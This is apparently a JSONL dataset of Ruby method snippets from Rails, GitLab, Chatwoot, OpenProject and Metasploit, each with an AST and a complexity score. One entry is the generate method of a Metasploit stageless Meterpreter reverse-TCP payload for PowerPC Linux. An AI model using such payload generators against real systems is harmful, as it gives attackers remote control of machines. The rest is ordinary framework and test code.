{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/with_validation_test.rb","start_line":40,"raw_source":"def validate(record)\n      if options[:field] == :first_name\n        record.errors.add(:base, message: ERROR_MESSAGE)\n      end\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"field\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"first_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"const\",\"children\":[null,\"ERROR_MESSAGE\"]}]}]}]},null]}]}","id":"e274e749-365a-4ac1-aaf0-460328c8b1aa"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation.rb","start_line":1284,"raw_source":"def pretty_print(pp)\n      subject = loaded? ? records : annotate(\"loading for pp\")\n      entries = subject.take([limit_value, 11].compact.min)\n\n      entries[10] = \"...\" if entries.size == 11\n\n      pp.pp(entries)\n    end","complexity_score":17.68,"ast_json":"{\"type\":\"def\",\"children\":[\"pretty_print\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subject\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loaded?\"]},{\"type\":\"send\",\"children\":[null,\"records\"]},{\"type\":\"send\",\"children\":[null,\"annotate\",{\"type\":\"str\",\"children\":[\"loading for pp\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"entries\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subject\"]},\"take\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"limit_value\"]},{\"type\":\"int\",\"children\":[11]}]},\"compact\"]},\"min\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries\"]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[11]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries\"]},\"[]=\",{\"type\":\"int\",\"children\":[10]},{\"type\":\"str\",\"children\":[\"...\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pp\"]},\"pp\",{\"type\":\"lvar\",\"children\":[\"entries\"]}]}]}]}","id":"9b43c0bb-bddc-4ac1-8c5b-412dd9f78dd2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/interpolation/template.rb","start_line":60,"raw_source":"def interpolate_blocks(matches)\n            matches.map do |match, data|\n              block = (@blocks[match] ||= Interpolation::Block.new(match, data, ctx))\n\n              break @errors.push('too many interpolation blocks') if @blocks.size > MAX_BLOCKS\n              break unless block.valid?\n\n              block\n            end\n          end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"interpolate_blocks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"matches\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matches\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"match\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"block\",{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@blocks\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"match\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Interpolation\"]},\"Block\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"match\"]},{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[null,\"ctx\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@blocks\"]},\"size\"]},\">\",{\"type\":\"const\",\"children\":[null,\"MAX_BLOCKS\"]}]},{\"type\":\"break\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@errors\"]},\"push\",{\"type\":\"str\",\"children\":[\"too many interpolation blocks\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"valid?\"]},null,{\"type\":\"break\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"a50a9c03-868f-40e0-b656-ad02ab8546d8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relations_test.rb","start_line":1739,"raw_source":"def test_create_with_nested_attributes\n    assert_difference(\"Project.count\", 1) do\n      developers = Developer.where(name: \"Aaron\")\n      developers = developers.create_with(\n        projects_attributes: [{ name: \"p1\" }]\n      )\n      developers.create!\n    end\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_create_with_nested_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_difference\",{\"type\":\"str\",\"children\":[\"Project.count\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"developers\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Aaron\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"developers\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"developers\"]},\"create_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"projects_attributes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"p1\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"developers\"]},\"create!\"]}]}]}]}","id":"4f136668-da9d-4480-9595-92828112519e"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/jobs/webhooks/instagram_events_job.rb","start_line":58,"raw_source":"def process_test_event(entry)\n    messaging = extract_messaging_from_test_event(entry)\n\n    Instagram::TestEventService.new(messaging).perform if messaging.present?\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"process_test_event\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"messaging\",{\"type\":\"send\",\"children\":[null,\"extract_messaging_from_test_event\",{\"type\":\"lvar\",\"children\":[\"entry\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"messaging\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Instagram\"]},\"TestEventService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"messaging\"]}]},\"perform\"]},null]}]}]}","id":"c25b5a2e-1dd2-4ae8-8762-d5150a015dc3"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/utilities/custom_field_injector.rb","start_line":323,"raw_source":"def allowed_users_href_callback\n          static_filters = allowed_users_static_filters\n          instance_filters = method(:allowed_users_instance_filter)\n\n          ->(*) {\n            # Careful to not alter the static_filters object here.\n            # It is made available in the closure (which is class level) and would thus\n            # keep the appended filters between requests.\n            filters = static_filters + instance_filters.call(represented)\n\n            api_v3_paths.path_for(:principals, filters:, page_size: -1)\n          }\n        end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_users_href_callback\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"static_filters\",{\"type\":\"send\",\"children\":[null,\"allowed_users_static_filters\"]}]},{\"type\":\"lvasgn\",\"children\":[\"instance_filters\",{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"allowed_users_instance_filter\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filters\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"static_filters\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance_filters\"]},\"call\",{\"type\":\"send\",\"children\":[null,\"represented\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_v3_paths\"]},\"path_for\",{\"type\":\"sym\",\"children\":[\"principals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filters\"]},{\"type\":\"lvar\",\"children\":[\"filters\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"page_size\"]},{\"type\":\"int\",\"children\":[-1]}]}]}]}]}]}]}]}","id":"b57dca34-1517-4541-bb99-9e661aaeb533"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_one_associations_test.rb","start_line":203,"raw_source":"def test_exclusive_dependence\n    num_accounts = Account.count\n\n    firm = ExclusivelyDependentFirm.find(9)\n    assert_not_nil firm.account\n    assert_equal [], Account.destroyed_account_ids[firm.id]\n\n    firm.destroy\n    assert_equal num_accounts - 1, Account.count\n    assert_equal [], Account.destroyed_account_ids[firm.id]\n  end","complexity_score":21.25,"ast_json":"{\"type\":\"def\",\"children\":[\"test_exclusive_dependence\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"num_accounts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"count\"]}]},{\"type\":\"lvasgn\",\"children\":[\"firm\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ExclusivelyDependentFirm\"]},\"find\",{\"type\":\"int\",\"children\":[9]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"account\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"destroyed_account_ids\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"num_accounts\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"destroyed_account_ids\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"id\"]}]}]}]}]}","id":"98432af1-9473-498f-ac06-20075b272b9e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/integrations/irker_worker.rb","start_line":96,"raw_source":"def new_branch_message\n      newbranch = \"#{Gitlab.config.gitlab.url}/#{@repo_path}/-/branches\"\n      newbranch = \"\\x0302\\x1f#{newbranch}\\x0f\" if @colors\n\n      \"[#{@repo_name}] #{@committer} has created a new branch #{@branch}: #{newbranch}\"\n    end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"new_branch_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"newbranch\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"gitlab\"]},\"url\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repo_path\"]}]},{\"type\":\"str\",\"children\":[\"/-/branches\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@colors\"]},{\"type\":\"lvasgn\",\"children\":[\"newbranch\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u000302\\u001f\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"newbranch\"]}]},{\"type\":\"str\",\"children\":[\"\\u000f\"]}]}]},null]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repo_name\"]}]},{\"type\":\"str\",\"children\":[\"] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@committer\"]}]},{\"type\":\"str\",\"children\":[\" has created a new branch \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@branch\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"newbranch\"]}]}]}]}]}","id":"30a0336c-3846-43e0-9710-afd379b75c6a"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailbox/test/generators/mailbox_generator_test.rb","start_line":29,"raw_source":"def test_mailbox_skeleton_is_created_with_namespace\n    run_generator %w(inceptions/inbox -t=test_unit)\n\n    assert_file \"app/mailboxes/inceptions/inbox_mailbox.rb\" do |mailbox|\n      assert_match(/class Inceptions::InboxMailbox < ApplicationMailbox/, mailbox)\n      assert_match(/def process/, mailbox)\n      assert_no_match(%r{# routing /something/i => :somewhere}, mailbox)\n    end\n\n    assert_file \"test/mailboxes/inceptions/inbox_mailbox_test.rb\" do |mailbox|\n      assert_match(/class Inceptions::InboxMailboxTest < ActionMailbox::TestCase/, mailbox)\n      assert_match(/# test \"receive mail\" do/, mailbox)\n      assert_match(/#     to: '\"someone\" <someone@example.com>',/, mailbox)\n    end\n\n    assert_file \"app/mailboxes/application_mailbox.rb\" do |mailbox|\n      assert_match(/class ApplicationMailbox < ActionMailbox::Base/, mailbox)\n      assert_match(%r{# routing /something/i => :somewhere}, mailbox)\n      assert_no_match(/def process/, mailbox)\n    end\n  end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_mailbox_skeleton_is_created_with_namespace\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"inceptions/inbox\"]},{\"type\":\"str\",\"children\":[\"-t=test_unit\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/mailboxes/inceptions/inbox_mailbox.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mailbox\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"class Inceptions::InboxMailbox < ApplicationMailbox\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"mailbox\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"def process\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"mailbox\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"# routing /something/i => :somewhere\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"mailbox\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"test/mailboxes/inceptions/inbox_mailbox_test.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mailbox\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"class Inceptions::InboxMailboxTest < ActionMailbox::TestCase\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"mailbox\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"# test \\\"receive mail\\\" do\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"mailbox\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"#     to: '\\\"someone\\\" <someone@example.com>',\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"mailbox\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/mailboxes/application_mailbox.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mailbox\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"class ApplicationMailbox < ActionMailbox::Base\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"mailbox\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"# routing /something/i => :somewhere\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"mailbox\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"def process\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"mailbox\"]}]}]}]}]}]}","id":"f75d6fdc-03a0-40ee-a316-695c70929878"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb","start_line":194,"raw_source":"def test_exec_insert_default_values_quoted_schema_with_returning_disabled_and_no_sequence_name_given\n        connection = connection_without_insert_returning\n        result = connection.exec_insert('insert into \"public\".\"postgresql_partitioned_table_parent\" DEFAULT VALUES', nil, [], \"id\")\n        expect = connection.query(\"select max(id) from postgresql_partitioned_table_parent\").first.first\n        assert_equal expect.to_i, result.rows.first.first\n      end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_exec_insert_default_values_quoted_schema_with_returning_disabled_and_no_sequence_name_given\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connection\",{\"type\":\"send\",\"children\":[null,\"connection_without_insert_returning\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"exec_insert\",{\"type\":\"str\",\"children\":[\"insert into \\\"public\\\".\\\"postgresql_partitioned_table_parent\\\" DEFAULT VALUES\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"array\",\"children\":[]},{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"query\",{\"type\":\"str\",\"children\":[\"select max(id) from postgresql_partitioned_table_parent\"]}]},\"first\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expect\"]},\"to_i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"rows\"]},\"first\"]},\"first\"]}]}]}]}","id":"d775bc8f-61e1-4984-b8f7-6d75daf28980"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/linux/ppce500v2/meterpreter_reverse_tcp.rb","start_line":34,"raw_source":"def generate(_opts = {})\n    opts = {\n      scheme: 'tcp',\n      stageless: true\n    }.merge(mettle_logging_config)\n    MetasploitPayloads::Mettle.new('powerpc-e500v2-linux-musl', generate_config(opts)).to_binary :exec\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scheme\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stageless\"]},{\"type\":\"true\",\"children\":[]}]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"mettle_logging_config\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MetasploitPayloads\"]},\"Mettle\"]},\"new\",{\"type\":\"str\",\"children\":[\"powerpc-e500v2-linux-musl\"]},{\"type\":\"send\",\"children\":[null,\"generate_config\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},\"to_binary\",{\"type\":\"sym\",\"children\":[\"exec\"]}]}]}]}","id":"22848256-3e55-41f4-9d5b-88a8a48dd6be"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/number_helper_test.rb","start_line":137,"raw_source":"def test_to_delimited\n        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|\n          assert_equal(\"12,345,678\", number_helper.number_to_delimited(12345678))\n          assert_equal(\"0\", number_helper.number_to_delimited(0))\n          assert_equal(\"123\", number_helper.number_to_delimited(123))\n          assert_equal(\"123,456\", number_helper.number_to_delimited(123456))\n          assert_equal(\"123,456.78\", number_helper.number_to_delimited(123456.78))\n          assert_equal(\"123,456.789\", number_helper.number_to_delimited(123456.789))\n          assert_equal(\"123,456.78901\", number_helper.number_to_delimited(123456.78901))\n          assert_equal(\"123,456,789.78901\", number_helper.number_to_delimited(123456789.78901))\n          assert_equal(\"0.78901\", number_helper.number_to_delimited(0.78901))\n          assert_equal(\"123,456.78\", number_helper.number_to_delimited(\"123456.78\"))\n          assert_equal(\"1,23,456.78\", number_helper.number_to_delimited(\"123456.78\", delimiter_pattern: /(\\d+?)(?=(\\d\\d)+(\\d)(?!\\d))/))\n          assert_equal(\"123,456.78\", number_helper.number_to_delimited(\"123456.78\".html_safe))\n        end\n      end","complexity_score":38.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_to_delimited\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@instance_with_helpers\"]},{\"type\":\"const\",\"children\":[null,\"TestClassWithClassNumberHelpers\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"NumberHelper\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"number_helper\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"12,345,678\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_delimited\",{\"type\":\"int\",\"children\":[12345678]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"0\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_delimited\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"123\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_delimited\",{\"type\":\"int\",\"children\":[123]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"123,456\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_delimited\",{\"type\":\"int\",\"children\":[123456]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"123,456.78\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_delimited\",{\"type\":\"float\",\"children\":[123456.78]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"123,456.789\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_delimited\",{\"type\":\"float\",\"children\":[123456.789]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"123,456.78901\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_delimited\",{\"type\":\"float\",\"children\":[123456.78901]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"123,456,789.78901\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_delimited\",{\"type\":\"float\",\"children\":[123456789.78901]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"0.78901\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_delimited\",{\"type\":\"float\",\"children\":[0.78901]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"123,456.78\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_delimited\",{\"type\":\"str\",\"children\":[\"123456.78\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1,23,456.78\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_delimited\",{\"type\":\"str\",\"children\":[\"123456.78\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delimiter_pattern\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(\\\\d+?)(?=(\\\\d\\\\d)+(\\\\d)(?!\\\\d))\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"123,456.78\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_delimited\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"123456.78\"]},\"html_safe\"]}]}]}]}]}]}","id":"cc0a806e-f5b7-460d-8482-dec21018cc33"}
